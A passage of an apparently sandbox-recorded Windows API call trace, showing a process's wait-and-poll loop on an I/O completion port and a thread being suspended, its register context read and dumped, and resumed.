	[0270.786] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0271.780] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0271.781] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0271.781] SetEvent (hEvent=0x1a0) returned 1
	[0271.781] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0271.815] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0271.815] SetEvent (hEvent=0x1a0) returned 1
	[0271.815] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0271.855] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0271.855] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0271.902] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0271.902] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0271.902] SetEvent (hEvent=0x1a0) returned 1
	[0271.902] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0271.945] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0271.945] SetEvent (hEvent=0x1a0) returned 1
	[0271.945] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0271.962] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0271.963] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0272.915] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0272.915] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0272.925] SetEvent (hEvent=0xf0) returned 1
	[0272.925] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0273.099] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0273.100] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0273.225] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0273.225] SetEvent (hEvent=0xf0) returned 1
	[0273.225] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0273.305] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0273.306] SetEvent (hEvent=0xf0) returned 1
	[0273.306] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0273.400] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0273.400] SetEvent (hEvent=0xf0) returned 1
	[0273.400] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0273.475] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0273.475] SetEvent (hEvent=0xf0) returned 1
	[0273.475] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0273.565] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0273.565] SetEvent (hEvent=0xf0) returned 1
	[0273.565] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0273.647] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0273.647] SetEvent (hEvent=0xf0) returned 1
	[0273.648] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0273.741] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0273.741] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0273.854] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0273.854] SetEvent (hEvent=0xf0) returned 1
	[0273.854] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0273.936] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0273.937] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0274.078] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0274.079] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0274.079] SetEvent (hEvent=0xf0) returned 1
	[0274.079] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0274.158] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0274.158] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0274.286] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0274.286] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0274.286] SetEvent (hEvent=0xf0) returned 1
	[0274.286] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0274.763] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0274.763] SetEvent (hEvent=0xf0) returned 1
	[0274.763] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0274.875] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0274.876] SetEvent (hEvent=0xf0) returned 1
	[0274.876] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0274.919] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0274.919] SetEvent (hEvent=0xf0) returned 1
	[0274.919] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0274.959] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0274.959] SetEvent (hEvent=0xf0) returned 1
	[0274.959] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0274.999] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0274.999] SetEvent (hEvent=0xf0) returned 1
	[0274.999] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0275.042] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0275.042] SetEvent (hEvent=0xf0) returned 1
	[0275.042] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0275.088] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0275.089] SetEvent (hEvent=0xf0) returned 1
	[0275.089] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0275.129] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0275.129] SetEvent (hEvent=0xf0) returned 1
	[0275.129] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0275.177] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0275.177] SetEvent (hEvent=0xf0) returned 1
	[0275.177] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0275.215] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0275.215] SetEvent (hEvent=0xf0) returned 1
	[0275.215] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0275.261] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0275.261] SetEvent (hEvent=0xf0) returned 1
	[0275.261] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0275.305] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0275.305] SetEvent (hEvent=0xf0) returned 1
	[0275.305] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0275.342] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0275.342] SetEvent (hEvent=0xf0) returned 1
	[0275.342] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0275.397] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0275.398] SetEvent (hEvent=0xf0) returned 1
	[0275.398] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0275.437] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0275.438] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0275.533] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0275.533] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0275.533] SetEvent (hEvent=0xf0) returned 1
	[0275.533] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0275.584] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0275.585] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0275.632] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0275.632] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0275.632] SetEvent (hEvent=0xf0) returned 1
	[0275.632] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0275.669] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0275.669] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0275.748] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0275.748] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0275.748] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1b4) returned 1
	[0275.748] SuspendThread (hThread=0x1b4) returned 0x0
	[0275.748] GetThreadContext (in: hThread=0x1b4, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000bfcc0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11d9d2a, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0275.750] ResumeThread (hThread=0x1b4) returned 0x1
	[0275.750] CloseHandle (hObject=0x1b4) returned 1
	[0275.750] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0275.815] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0275.815] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0275.859] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0275.859] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1b4) returned 1
	[0275.859] SuspendThread (hThread=0x1b4) returned 0x0
	[0275.859] GetThreadContext (in: hThread=0x1b4, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020fcf8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1148ffe, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, 